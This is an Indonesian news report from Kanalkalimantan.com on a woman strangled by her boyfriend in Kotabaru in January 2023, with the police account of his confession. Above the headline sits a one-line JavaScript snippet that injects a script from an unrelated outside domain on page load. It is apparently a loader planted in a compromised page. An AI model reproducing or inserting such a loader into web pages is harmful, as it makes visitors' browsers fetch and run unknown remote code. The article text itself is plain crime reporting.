(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Terungkap! Perempuan Dibunuh Dibuang di Gorong-Gorong, Begini Pengakuan Tersangka di Polres Kotabaru

KANALKALIMANTAN.COM, KOTABARU – Penemuan mayat perempuan di gorong-gorong belakang Gedung Olah Raga (GOR) Bamega Kotabaru, pada Minggu (15/1/2023) siang, terungkap.

Polisi langsung melakukan perburuan terduga pembunuh. Belakangan terduga pelaku pembunuhan tak lain merupakan teman dekat alias pacar sendiri.

Adalah HD, lelaki 30 tahun, warga Desa Bekambit, Kecamatan Pulau Laut Timur, Kotabaru, diduga menjadi pelaku tunggal pembunuhan atas WF (32), warga Jalan Teluk Gadang, Desa Semayap, Kecamatan Pulau Laut Utara.

Kapolres Kotabaru AKBP M Gafur Aditya Siregar melalui Kasatreskrim Polres Kotabaru AKP Abdul Jalil mengatakan, pelaku mengakui perbuatannya menghabisi nyawa perempuan berusia 32 tahun itu.
Aksi HD bermula pada Kamis 11 Januari 2023 malam, setelah WF menghubungi HD untuk meminta bertemu terkait kehamilan dirinya.

Dengan ancaman jika tidak datang maka orangtua WF akan menemui orangtua HD.

Kemudian pada Jumat 12 Januari 2023 sekitar pukul 20.00 Wita, HD menuju ke Kotabaru dari Desa Bekambit menemui WF di kawasan GOR Bamega, lokasi penemuan jasad WF.

Sekitar pukul 21.00 Wita, WF dan HD bertemu dan terjadi pembicaraan. WF meminta pertanggungjawaban HD atas kehamilannya.

Masih keterangan pihak kepolisian dari pengakuan terduga pelaku, mendengar permintaan WF, HD menolak dengan alasan bahwa masih ingin bersama istrinya. WF emosi dan memukul wajah HD.

HD membalas dengan mencekik leher WF, sampai akhirnya korban terjatuh. WF sempat teriak kesakitan, tetapi HD tetap mencekik korban hingga meninggal dunia.

“Pengakuan HD setelah memastikan WF meninggal dunia, kemudian membuang tubuh perempuan itu ke sungai di belakang GOR Bamega,” jelas Kasatreskrim Polres Kotabaru.

HD mencoba melarutkan WF dari arus sungai tetapi pada saat HD melihat gorong-gorong, akhirnya memutuskan untuk menyembunyikan tubuh korban ke saluran air agar nantinya tidak terlihat warga.

“Setelah itu HD meninggalkan korban dan melarikan diri,” tandasnya.

Sebelumnya diberitakan, pada Minggu (15/1/2023) siang, sekitar pukul 13.00 Wita, warga Desa Semayap, Kecamatan Pulau Laut Utara, digegerkan penemuan jasad perempuan di dalam saluran gorong-gorong di area sungai samping GOR Bamega Kotabaru. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : kk